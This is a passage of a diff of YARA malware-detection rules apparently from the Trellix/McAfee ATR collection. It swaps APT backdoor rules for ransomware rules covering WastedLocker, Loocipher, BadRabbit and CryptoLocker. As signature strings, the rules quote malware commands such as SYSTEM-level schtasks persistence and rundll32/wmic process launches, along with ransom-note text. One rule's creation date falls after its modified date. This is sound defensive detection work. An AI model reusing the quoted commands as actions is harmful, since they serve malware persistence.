"https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_rietspoof_loader.yar#L1-L22" + description = "Rule to detect unpacked samples of WastedLocker" + author = "McAfee ATR Team" + id = "900923cf-75c0-5342-858d-fe1ffa9486bd" + date = "2020-07-27" + modified = "2020-10-12" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_wastedlocker.yar#L1-L32" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "d72b58ff452070e03d0b25bc433ef5c677df77dd440adc1ecdb592cee24235fb" + logic_hash = "c5adf88a46c34c8683d0e3d70529b352c77209f004e6c638ff079ea025921781" score = 75 quality = 70 tags = "RANSOMWARE, FILE" + rule_version = "v1" malware_type = "ransomware" - malware_family = "Loader:W32/Rietspoof" + malware_family = "Ransom:W32/WastedLocker" actor_type = "Cybercrime" actor_group = "Unknown" + hash1 = "ae255679f487e2e9075ffd5e8c7836dd425229c1e3bd40cfc46fbbceceec7cf4" strings: - $x1 = "\\Work\\d2Od7s43\\techloader\\loader" fullword ascii + $pattern_0 = { 8d45fc 50 53 53 6a19 ff75f8 } + $pattern_1 = { 66833b00 8bf3 0f8485000000 8b7d10 8b472c 85c0 7410 } + $pattern_2 = { e8???????? 8b4d08 8b4518 8d0441 6683600200 83c40c 837d1400 } + $pattern_3 = { 8701 e9???????? 8bc7 5f 5e 5b } + $pattern_4 = { 8bf8 3bfb 742f 53 8d45fc 50 56 } + $pattern_5 = { 6a10 8d45f0 6a00 50 e8???????? 83c40c 5e } + $pattern_6 = { 5f 5d c20800 55 8bec } + $pattern_7 = { 8d7e04 ff15???????? 85c0 8945e8 740e 2b4510 } + $pattern_8 = { ff15???????? 8b45dc 8b4dbc 69c00d661900 055ff36e3c 8945dc } + $pattern_9 = { 8b4d08 8b19 03d8 f7d0 c1c60f 03f2 0bc6 } condition: - uint16( 0 ) == 0x5a4d and all of them + 7 of them and filesize < 1806288 } -rule TRELLIX_ARC_Apt_Turla_Pdb : BACKDOOR FILE +rule TRELLIX_ARC_Loocipher_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect a component of the APT Turla" + description = "Rule to detect Loocipher ransomware" author = "Marc Rivero | McAfee ATR Team" - id = "b39ac7fc-16dd-559e-8ab0-76da5cbbc719" - date = "2017-05-31" + id = "d18efe09-4b04-5089-84f8-aead63fc19bb" + date = "2019-12-05" modified = "2020-08-14" - reference = "https://attack.mitre.org/groups/G0010/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_turla_pdb.yar#L1-L25" + reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/analysis-of-loocipher-a-new-ransomware-family-observed-this-year/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Loocipher.yar#L1-L46" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "3b8bd0a0c6069f2d27d759340721b78fd289f92e0a13965262fea4e8907af122" - logic_hash = "d519317c936a38f189bf0de908902ec4e3e079c8c7463c8881ceb332c0a82a26" + hash = "7720aa6eb206e589493e440fec8690ceef9e70b5e6712a9fec9208c03cac7ff0" + logic_hash = "36e452c34fd9bbb521f5422bffdbb71991de66f3faa29292dc3f27c8d7e1f9ba" score = 75 quality = 70 - tags = "BACKDOOR, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Turla" - actor_type = "Apt" + malware_type = "ransomware" + malware_family = "Ransom:W32/Loocipher" + actor_type = "Cybercrime" actor_group = "Unknown" strings: - $pdb = "\\Workshop\\Projects\\cobra\\carbon_system\\x64\\Release\\carbon_system.pdb" + $x1 = "c:\\users\\usuario\\desktop\\cryptolib\\gfpcrypt.h" fullword ascii + $x2 = "c:\\users\\usuario\\desktop\\cryptolib\\eccrypto.h" fullword ascii + $s3 = "c:\\users\\usuario\\desktop\\cryptolib\\gf2n.h" fullword ascii + $s4 = "c:\\users\\usuario\\desktop\\cryptolib\\queue.h" fullword ascii + $s5 = "ThreadUserTimer: GetThreadTimes failed with error " fullword ascii + $s6 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<struct CryptoPP::ProjectivePoint> > >::operator *" fullword wide + $s7 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<struct CryptoPP::ProjectivePoint> > >::operator +=" fullword wide + $s8 = "std::basic_string<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator []" fullword wide + $s9 = "std::vector<struct CryptoPP::ProjectivePoint,class std::allocator<struct CryptoPP::ProjectivePoint> >::operator []" fullword wide + $s10 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<class CryptoPP::Integer> > >::operator *" fullword wide + $s11 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<class CryptoPP::Integer> > >::operator +=" fullword wide + $s12 = "std::vector<struct CryptoPP::WindowSlider,class std::allocator<struct CryptoPP::WindowSlider> >::operator []" fullword wide + $s13 = "std::istreambuf_iterator<char,struct std::char_traits<char> >::operator ++" fullword wide + $s14 = "std::istreambuf_iterator<char,struct std::char_traits<char> >::operator *" fullword wide + $s15 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<struct CryptoPP::ProjectivePoint> > >::_Compat" fullword wide + $s16 = "std::vector<class CryptoPP::PolynomialMod2,class std::allocator<class CryptoPP::PolynomialMod2> >::operator []" fullword wide + $s17 = "DL_ElgamalLikeSignatureAlgorithm: this signature scheme does not support message recovery" fullword ascii + $s18 = "std::vector<struct CryptoPP::ECPPoint,class std::allocator<struct CryptoPP::ECPPoint> >::operator []" fullword wide + $s19 = "std::vector<struct CryptoPP::EC2NPoint,class std::allocator<struct CryptoPP::EC2NPoint> >::operator []" fullword wide + $s20 = "std::_Vector_const_iterator<class std::_Vector_val<struct std::_Simple_types<class CryptoPP::Integer> > >::_Compat" fullword wide condition: - uint16( 0 ) == 0x5a4d and filesize < 650KB and any of them + ( uint16( 0 ) == 0x5a4d and filesize < 17000KB and ( 1 of ( $x* ) and 4 of them ) ) or ( all of them ) } -rule TRELLIX_ARC_Apt_Flamer_Pdb : BACKDOOR FILE + +rule TRELLIX_ARC_Badbunny : RANSOMWARE FILE { meta: - description = "Rule to detect Flamer based on the PDB" - author = "Marc Rivero | McAfee ATR Team" - id = "3bbe043d-c0dc-5aa2-b985-800a6d9038fd" - date = "2012-05-29" + description = "Bad Rabbit Ransomware" + author = "Christiaan Beek" + id = "190ee396-4c26-54f7-baac-bb45e3587488" + date = "2017-10-24" modified = "2020-08-14" - reference = "https://www.forcepoint.com/ko/blog/x-labs/flameflamerskywiper-one-most-advanced-malware-found-yet" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/flamer_pdb.yar#L1-L25" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_BadRabbit.yar#L3-L47" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "554924ebdde8e68cb8d367b8e9a016c5908640954ec9fb936ece07ac4c5e1b75" - logic_hash = "3c1d3d015e086cff1f3d5add39397d8ed251b12144b31d8547165cbd0217735c" + logic_hash = "2879b8dc1ca0e86253354ac24b56d950878b23215b503da9b1d5faabd2c4bf9d" score = 75 - quality = 70 - tags = "BACKDOOR, FILE" + quality = 45 + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Flamer" - actor_type = "Apt" + malware_type = "ransomware" + malware_family = "Ransom:W32/BadRabbit" + actor_type = "Cybercrime" actor_group = "Unknown" + hash1 = "8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93" strings: - $pdb = "\\Projects\\Jimmy\\jimmydll_v2.0\\JimmyForClan\\Jimmy\\bin\\srelease\\jimmydll\\indsvc32.pdb" + $x1 = "schtasks /Create /SC ONCE /TN viserion_%u /RU SYSTEM /TR \"%ws\" /ST %02d:%02d:00" fullword wide + $x2 = "need to do is submit the payment and get the decryption password." fullword ascii + $s3 = "If you have already got the password, please enter it below." fullword ascii + $s4 = "dispci.exe" fullword wide + $s5 = "\\\\.\\GLOBALROOT\\ArcName\\multi(0)disk(0)rdisk(0)partition(1)" fullword wide + $s6 = "Run DECRYPT app at your desktop after system boot" fullword ascii + $s7 = "Enter password#1: " fullword wide + $s8 = "Enter password#2: " fullword wide + $s9 = "C:\\Windows\\cscc.dat" fullword wide + $s10 = "schtasks /Delete /F /TN %ws" fullword wide + $s11 = "Password#1: " fullword ascii + $s12 = "\\AppData" fullword wide + $s13 = "Disk decryption completed" fullword wide + $s14 = "Files decryption completed" fullword wide + $s15 = "http://diskcryptor.net/" fullword wide + $s16 = "Your personal installation key#1:" fullword ascii + $s17 = ".3ds.7z.accdb.ai.asm.asp.aspx.avhd.back.bak.bmp.brw.c.cab.cc.cer.cfg.conf.cpp.crt.cs.ctl.cxx.dbf.der.dib.disk.djvu.doc.docx.dwg." wide + $s18 = "Disable your anti-virus and anti-malware programs" fullword wide + $s19 = "bootable partition not mounted" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize < 500KB and any of them + ( uint16( 0 ) == 0x5a4d and filesize < 400KB and pe.imphash ( ) == "94f57453c539227031b918edd52fc7f1" and ( 1 of ( $x* ) or 4 of them ) ) or ( all of them ) } -rule TRELLIX_ARC_Apt_Auriga_Driver : KERNELDRIVER FILE +rule TRELLIX_ARC_Badrabbit_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect the Auriga driver" + description = "Rule to detect Bad Rabbit Ransomware" author = "Marc Rivero | McAfee ATR Team" - id = "b61058a1-1b48-5be1-ba2f-74a7c3d38825" - date = "2013-03-13" + id = "d6e78c14-0913-5eed-be15-a6d1a8cd1a8d" + date = "2026-03-01" modified = "2020-08-14" - reference = "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_auriga_biscuit.yar#L1-L39" - license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "207eee627a76449ac6d2ca43338d28087c8b184e7b7b50fdc60a11950c8283ec" - logic_hash = "c027073ba398fe89d418be67f0850c8d9e4d4c50a991c45b84cdb416497ccf1c" - score = 75 - quality = 70 - tags = "KERNELDRIVER, FILE" - rule_version = "v1" - malware_type = "kerneldriver" - malware_family = "Driver:W32/Auriga" - actor_type = "APT" - actor_group = "APT1" - - strings: - $s1 = "\\SystemRoot\\System32\\netui.dll" fullword wide - $s2 = "\\SystemRoot\\System32\\drivers\\riodrv32.sys" fullword wide - $s3 = "\\SystemRoot\\System32\\arp.exe" fullword wide - $s4 = "netui.dll" fullword ascii - $s5 = "riodrv32.sys" fullword wide - $s6 = "\\netui.dll" fullword wide - $s7 = "d:\\drizt\\projects\\auriga\\branches\\stone_~1\\server\\exe\\i386\\riodrv32.pdb" fullword ascii - $s8 = "\\riodrv32.sys" fullword wide - $s9 = "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\riodrv32" fullword wide - $s10 = "\\DosDevices\\rio32drv" fullword wide - $s11 = "e\\Driver\\nsiproxy" fullword wide - $s12 = "(C) S3/Diamond Multimedia Systems. All rights reserved." fullword wide - $s13 = "\\Device\\rio32drv" fullword wide - $s14 = "\\Registry\\Machine\\SOFTWARE\\riodrv" fullword wide - $s15 = "\\Registry\\Machine\\SOFTWARE\\riodrv32" fullword wide - - condition: - uint16( 0 ) == 0x5a4d and filesize < 50KB and all of them -} -rule TRELLIX_ARC_Hermeticwiper : TROJAN FILE -{ - meta: - description = "Detecting variants of Hermetic Wiper malware discovered in UA" - author = " cb @ Trellix ATR" - id = "fc6d9238-b732-541d-b083-11b43fe8770d" - date = "2022-02-24" - modified = "2022-02-24" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Troj_HermWiper.yar#L1-L27" + reference = "https://securelist.com/bad-rabbit-ransomware/82851/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_BadRabbit.yar#L49-L101" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "b48e91afa19e09c7035ccda1b9293448e834d612b9a953b593f9412acb78faac" + logic_hash = "7536f021ce7fede0f1a2bf2f4ebc7d6e7269a6dd63005cab1fc6a309a71c61c0" score = 75 - quality = 70 - tags = "TROJAN, FILE" - rule_version = "v1" - malware_type = "Trojan" + quality = 43 + tags = "RANSOMWARE, FILE" + malware_type = "ransomware" + malware_family = "Ransom:W32/BadRabbit" + actor_type = "Cybercrime" + actor_group = "Unknown" strings: - $0 = {E4B5518CD941310A015E4AF8E5968C8231492FE19246A293A569D5D7A36F56EB2FC5B68FFF6F3359C19AF6806920C3FE6628F90A75440E6616297A031BA6075100D72DFAA9829E772E45D77B89F862081EAFDB19B4B2DCEF3F273FF645ACCEAA4B991F98373973C0FB25829E860D9BC195EF1A0AD9219456AD077D42868EE03EE00E88D04C434BA97E88DF99273A35E2C668A1C69954B4762390ABDFBE4CD4AF} - $1 = {90506F1C825F7AE0D8605F5C627CA325BFF199AB60A63DE8A90E923F4B18D7FB039E1DEC89D573AAB0A14C1D4BA70EB444753A41C03082A60CB4DB551393F2C50988A3181E7F31D01B5AAD94070432D98F18655AB8A555919FEFEA9DE1EDF1} - $2 = {D5EEF61336015A85FF04ED298A6BDD6742FF153E33DAF9B383A5FFDCE7E64D47748DB5FF2609DF9BD5C66735FF6916797B2D365313FF1461EAEB9DAEA754FF6D4D55D1956CC8CBFF75C10CE74BF88C8DFF3B553B839D42609FFF2916227230} - $3 = {6C750DDC932124500CE9B5AB91CE101BE9AD348220E9423124512282373675152281023428825C51770FE9841F853375125382F732750A5B83F60FEB6AEE2282647462228269745AEE22826F7452228275744AEE2282787442} - $4 = {19A8A063FFAAAF6C1E7F78A896FFFA5C8F30BA98B69CFF1961E107BEB7636AFF9EA56A4FC4EDE3F1FF295235ACD0185726FFADA6B8CB54B342C9FF86F58524DC91617BFFB4388DBE01B6CF86} - $5 = {50C449606B20184A6328556032197660AAF9507861609F6160640560B4546160C3A194056070C4A09EC4A01A0461A4C4A0831B16600561916069A291607061C09160AA1CB6204A} - $6 = {FFEB19D2636B8B95273156BB63E8C78470D55970F47CF26574B46DE86EE084704590CA8053F15320258BBD1AACF18B04F2E965C6605CB10880B7E8FCF53DF5EB0621635EFF} - $7 = {7E31126E14B8FF98554F6FCFB64207FFCF8D93B2573609C2FF99E4409F73BB9322FF1E5E380DC0BBABCAFF4B901EDF61BD6A68FFEE3253728C7769ABFF7BCDA939C959A282} - $8 = {1970FFC6F8AA7C32EE693CFF369579E5355EF62CFF682CEAF20BA3EA1CFF1AAC638666431B20FF54293D1E709C231AFFCD11B55599F64CB9FF1E5A9015DC867F} - $9 = {8DFF93B2573609C299E4FF409F73BB93221E5EFF380DC0BBABCA4B90FF1EDF61BD6A68EE32FF53728C7769AB7BCDFFA939C959A282D312FF5DD04F0370CE811F} - $10 = {DF5519064E31101CF3DA96C15FF96728B708F358F51759E3A22FFA1CF1BB986A2038D6753E6BF037945B8469ADF20BAB71E10F3DE27735F640704C970DFE8672} + $s1 = "schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR \"%ws /C Start \\\"\\\" \\\"%wsdispci.exe\\\" -id %u && exit\"" fullword wide + $s2 = "C:\\Windows\\System32\\rundll32.exe \"C:\\Windows\\" fullword wide + $s3 = "process call create \"C:\\Windows\\System32\\rundll32.exe" fullword wide + $s4 = "need to do is submit the payment and get the decryption password." fullword wide + $s5 = "schtasks /Create /SC once /TN drogon /RU SYSTEM /TR \"%ws\" /ST %02d:%02d:00" fullword wide + $s6 = "rundll32 %s,#2 %s" fullword ascii + $s7 = " \\\"C:\\Windows\\%s\\\" #1 " fullword wide + $s8 = "Readme.txt" fullword wide + $s9 = "wbem\\wmic.exe" fullword wide + $s10 = "SYSTEM\\CurrentControlSet\\services\\%ws" fullword wide + $og1 = { 39 74 24 34 74 0a 39 74 24 20 0f 84 9f } + $og2 = { 74 0c c7 46 18 98 dd 00 10 e9 34 f0 ff ff 8b 43 } + $og3 = { 8b 3d 34 d0 00 10 8d 44 24 28 50 6a 04 8d 44 24 } + $oh1 = { 39 5d fc 0f 84 03 01 00 00 89 45 c8 6a 34 8d 45 } + $oh2 = { e8 14 13 00 00 b8 ff ff ff 7f eb 5b 8b 4d 0c 85 } + $oh3 = { e8 7b ec ff ff 59 59 8b 75 08 8d 34 f5 48 b9 40 } + $oj4 = { e8 30 14 00 00 b8 ff ff ff 7f 48 83 c4 28 c3 48 } + $oj5 = { ff d0 48 89 45 e0 48 85 c0 0f 84 68 ff ff ff 4c } + $oj6 = { 85 db 75 09 48 8b 0e ff 15 34 8f 00 00 48 8b 6c } + $ok1 = { 74 0c c7 46 18 c8 4a 40 00 e9 34 f0 ff ff 8b 43 } + $ok2 = { 68 f8 6c 40 00 8d 95 e4 f9 ff ff 52 ff 15 34 40 } + $ok3 = { e9 ef 05 00 00 6a 10 58 3b f8 73 30 8b 45 f8 85 } condition: - uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them + uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( all of ( $s* ) and all of ( $og* ) ) or all of ( $oh* ) or all of ( $oj* ) or all of ( $ok* ) } -rule TRELLIX_ARC_Karkoff_Dnspionaje : BACKDOOR FILE +rule TRELLIX_ARC_Cryptolocker_Set1 : RANSOMWARE { meta: - description = "Rule to detect the Karkoff malware" - author = "Marc Rivero | McAfee ATR Team" - id = "a5cdc65f-3a4c-5d97-9d88-8d60b14dfb9a" - date = "2019-04-23" + description = "Detection of Cryptolocker Samples" + author = "Christiaan Beek, Christiaan_Beek@McAfee.com" + id = "13ccc6d3-c2cc-59ac-81af-ec11fb78cd41" + date = "2014-04-13" modified = "2020-08-14" - reference = "https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_karkoff_dnspionaje.yar#L1-L30" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Cryptolocker.yar#L1-L40" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "5b102bf4d997688268bab45336cead7cdf188eb0d6355764e53b4f62e1cdf30c" - logic_hash = "79dd0087f1197cb1b2cd98416302363951479ba5ebf82289768585b56ed21c3a" + logic_hash = "5be8d077537a59d860a972392be186d2697e55778f750d03b0fd3b0a73f714d9" score = 75 quality = 70 - tags = "BACKDOOR, FILE" + tags = "RANSOMWARE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Karkoff" - actor_type = "Apt" + malware_type = "ransomware" + malware_family = "Ransom:W32/Cryptolocker" + actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "DropperBackdoor.Newtonsoft.Json.dll" fullword wide - $s2 = "C:\\Windows\\Temp\\MSEx_log.txt" fullword wide - $s3 = "DropperBackdoor.exe" fullword wide - $s4 = "get_ProcessExtensionDataNames" fullword ascii - $s5 = "get_ProcessDictionaryKeys" fullword ascii - $s6 = "https://www.newtonsoft.com/json 0" fullword ascii + $string0 = "static" + $string1 = " kscdS" + $string2 = "Romantic" + $string3 = "CompanyName" wide + $string4 = "ProductVersion" wide + $string5 = "9%9R9f9q9" + $string6 = "IDR_VERSION1" wide + $string7 = " </trustInfo>" + $string8 = "LookFor" wide + $string9 = ":n;t;y;" + $string10 = " <requestedExecutionLevel level" + $string11 = "VS_VERSION_INFO" wide + $string12 = "2.0.1.0" wide + $string13 = "<assembly xmlns" + $string14 = " <trustInfo xmlns" + $string15 = "srtWd@@" + $string16 = "515]5z5" + $string17 = "C:\\lZbvnoVe.exe" wide condition: - uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them + 12 of ( $string* ) } -rule TRELLIX_ARC_APT_Winnti : BACKDOOR FILE +rule TRELLIX_ARC_Cryptolocker_Rule2 : RANSOMWARE { meta: - description = "Detects Winnti variants" - author = "McAfee ATR Team" - id = "f12b039a-2508-580f-b777-428bbda2c666" - date = "2020-06-04" - modified = "2020-10-14" - reference = "https://attack.mitre.org/software/S0141/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_winnti.yar#L1-L27" + description = "Detection of CryptoLocker Variants" + author = "Christiaan Beek, Christiaan_Beek@McAfee.com" + id = "a6e808ef-4f60-5592-9440-69309784efb1" + date = "2014-04-14" + modified = "2020-08-14" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Cryptolocker.yar#L42-L79" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "fd539d345821d9ac9b885811b1f642aa1817ba8501d47bc1de575f5bef2fbf9e" - logic_hash = "f94b2c552fbb30e1005e5c75a2f449d60b9558a0916197bed41bf32c6477daef" + logic_hash = "e8e03516cc0b669000c8d6b443be7a5f7a8b904abba98fd3c7d4f038de6741ab" score = 75 quality = 70 - tags = "BACKDOOR, FILE" + tags = "RANSOMWARE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Winnti" - actor_type = "Apt" + malware_type = "ransomware" + malware_family = "Ransom:W32/Cryptolocker" + actor_type = "Cybercrime" actor_group = "Unknown" strings: - $pattern = { 9090909090909090909090909090C7????????????C2????90909090909081??????????E9????????CCCCCCCCCC8A??????8B??????538A??8A??568B??578B??????8B??C1????66????8B??C1????F3AB8B??83????F3AA8B??5F5E5BC390909090909090909090909090909083????5333??568D??????535089??????89??????E8????????8A??33??3A??8D??????0F94??83????5389??????528B??89??????C6????????E8????????8B??33??81??????????8D??????0F94??6A??89??????5223??89??????C6????????C6????????E8????????33??66????8D??????6A??0F94??89??????89??????5223??C6????????C6????????E8????????8B??83????33??3B??0F94??23??5E495BF7??1B??8B??83????C38B??????8B??????03??C390909090908B??????85??0F84????????8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??E9????????83????C39090909090909090909090909083????8B??????53558B??????33??568B??????83????5789??????76??81??????????8B??76??BF????????8B??????8D????03??C1????03??89??????3B??76??8B??????68????????6A??52E8????????8B??????8B??????8B??????505351565752E8????????8B??????8B??8B??????2B??8B??83????03??8B??????83????89??????77??03??0F84????????8B??????8B??????2B??03??3B??89??????75??81??????????77??8A??04??EB??83????77??08????EB??83????77??8A??80????88??EB??8D????C6????463D????????89??????76??8D????B8????????F7??C1????8B??33??8B??8B??C1????F3AB8B??83????03??F3AA8B??????81??????????4A89??????75??8B??????8B??88??468A??88??46424B75??8B??????C6????465FC6????46C6????2B??8B??????4633??89??5E5D5B83????C390909090909090909083????8B??????53558B??????568B??????8D????5789??????8B??????83????73??B8????????2B??EB??33??03??8B??2B??C1????8D??????89??????8B??????8B??????8D????3B??0F83????????8B??8B??69??????????8B??????8B??????C1????33??66??????03??8B??????2B??????89??????66??????8B??3B??0F85????????8B??????C7??????????????2B??8B??????8B??2B??0F84????????83????77??8A????0A??88????8B????89??03??E9????????83????77??8A??2C??88??468B????89??8B????89????8B????89????8B????89????03??E9????????83????77??8A??80????88??46EB??8D????C6????463D????????89??????76??8D????B8????????F7??8B??33??C1????89??????8B??8B??C1????F3AB8B??83????F3AA8B??03??8B??????81??????????4889??????75??8B??????8B??8B??????88??468B????89??8B????89????8B????89????8B????89????83????83????83????83????73??85??76??8A????88??46454B75??BB????????8B????8B????33??75??BB????????03??8B????8B??33??8B??????83????3B??73??8B??2B??????85??75??83????83????8B????8B??33??8B??????3B??72??EB??84??75??C1????4384??74??8B??????8B??03??2B??83????89??????77??3D????????77??4880????8A??80????C0????C0????0A??88??46C1????88??46E9????????3D????????77??4883????89??????77??80????80????EB??83????C6????4681??????????76??8D????B8????????F7??8B??33??C1????89??????8B??8B??C1????F3AB8B??83????F3AA8B??03??81??????????4875??8B??????88??8A??46C0????88??46C1????88??46E9????????2D????????83????89??????77??8B??80????C1????80????8A??0A??80????88??46C0????88??46C1????88??46E9????????8B??83????C1????80????80????88??4681??????????76??8D????B8????????F7??8B??33??C1????89??????8B??8B??C1????F3AB8B??83????F3AA8B??03??81??????????4875??8B??????88??8A??46C0????88??46C1????88??46E9????????8B??????E9????????8B??????8B??????8B??????2B??89??8B??5F2B??5E5D03??5B83????C390909090909090909090908B??????538B??????55568B??????C7??????????578A??8D????8B??????80????8B??76??81??????????8D????83????8B??83????0F82????????8A??88??40414F75??EB??33??8A??418B??83????0F83????????85??75??80????75??8A????81??????????4184??74??33??8A??418D??????8B??89??83????83????4E74??83????72??8B??89??83????83????83????83????73??85??76??8A??88??40414E75??EB??8A??88??40414E75??33??8A??418B??83????73??33??8B??8A??C1????2B??C1????2B??8A??????????81??????????4188??40478A??88??8A????4088??408A????83????8B??0F84????????8A??88??404183????76??8A??88??404183????76??8A??88??404133??8A??418B??83????72??8B??8B??C1????83????2B??33??8A??C1????2B??4F41C1????4E8A??88??8A????404788??40478A??88??40474E75??EB??83????72??83????75??80????75??8A????81??????????4184??74??33??8A??418D??????8D????66????81??????????C1????2B??83????EB??83????0F82????????8B??8B??83????C1????2B??83????75??80????75??8A????81??????????4184??74??33??8A??418D??????66????81??????????C1????2B??83????3B??74??81??????????83????0F82????????8B??2B??83????0F8C????????8B??89??83????83????83????8B??89??83????83????83????83????73??85??0F86????????8A??88??40474E75??E9????????33??8B??8A??C1????2B??C1????2B??4F41E9????????8B??????2B??3B??89??75??5F5E5D33??5BC31B??5F24??5E5D83????5BC39090909090909090909090909081??????????568B??68????????C7??????????FF??????????83????75??57B9????????33??8D??????66????????????F3AB66AB8D??????5068????????FF??????????83????5F75??6A??68????????FF??????????8B??5E81??????????C390909090909090909090909090568B??E8????????F6????????74??56E8????????83????8B??5EC2????909068????????C7??????????FF??????????85??75??FF??????????C39090909053558B??????5685??5774??8B??????85??74??33??33??33??85??76??8A??????????8A??????????32??80????32??8A????32??33??88????8D????BE????????F7??8D????BF????????8B??33??F7??413B??8B??72??5F5E5D5BC39083????538B??????55565768????????68????????5333??FF??????????8B??85??0F84????????68????????FF??????????8B??B0??88??????88??????8D??????B1??5056C6????????88??????C6????????C6????????C6????????C6????????88??????C6????????C6????????C6????????C6????????FF??????????5753FF??568B??FF??????????85??74??57FF??????????8B??8B??????B9????????8B??68????????50F3A5E8????????83????B8????????5F5E5D5B83????C35F8B??5E5D5B83????C39090538B??????????5657C7??????????8D????BF???????? } + $string0 = "2.0.1.7" wide + $string1 = " <security>" + $string2 = "Romantic" + $string3 = "ProductVersion" wide + $string4 = "9%9R9f9q9" + $string5 = "IDR_VERSION1" wide + $string6 = "button" + $string7 = " </security>" + $string8 = "VFileInfo" wide + $string9 = "LookFor" wide + $string10 = " </requestedPrivileges>" + $string11 = " uiAccess" + $string12 = " <trustInfo xmlns" + $string13 = "last.inf" + $string14 = " manifestVersion" + $string15 = "FFFF04E3" wide + $string16 = "3,31363H3P3m3u3z3" condition: - uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them + 12 of ( $string* ) } -rule TRELLIX_ARC_Ixeshe_Bled_Malware_Pdb : BACKDOOR FILE +rule TRELLIX_ARC_Crime_Ransomware_Windows_Gpgqwerty : RANSOMWARE { meta: - description = "Rule to detect Ixeshe_bled malware based on PDB" - author = "Marc Rivero | McAfee ATR Team" - id = "93356eab-5bb3-5b85-acc6-9a247554aa2d" - date = "2012-05-30" + description = "Detect GPGQwerty ransomware" + author = "McAfee Labs" + id = "dcbaf3bd-7d0c-5449-a751-82caaad3b5c2" + date = "2018-03-21" modified = "2020-08-14" - reference = "https://attack.mitre.org/software/S0015/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/ixeshe_bled_pdb.yar#L1-L24" + reference = "https://securingtomorrow.mcafee.com/mcafee-labs/ransomware-takes-open-source-path-encrypts-gnu-privacy-guard/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_GPGQwerty.yar#L1-L26" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = 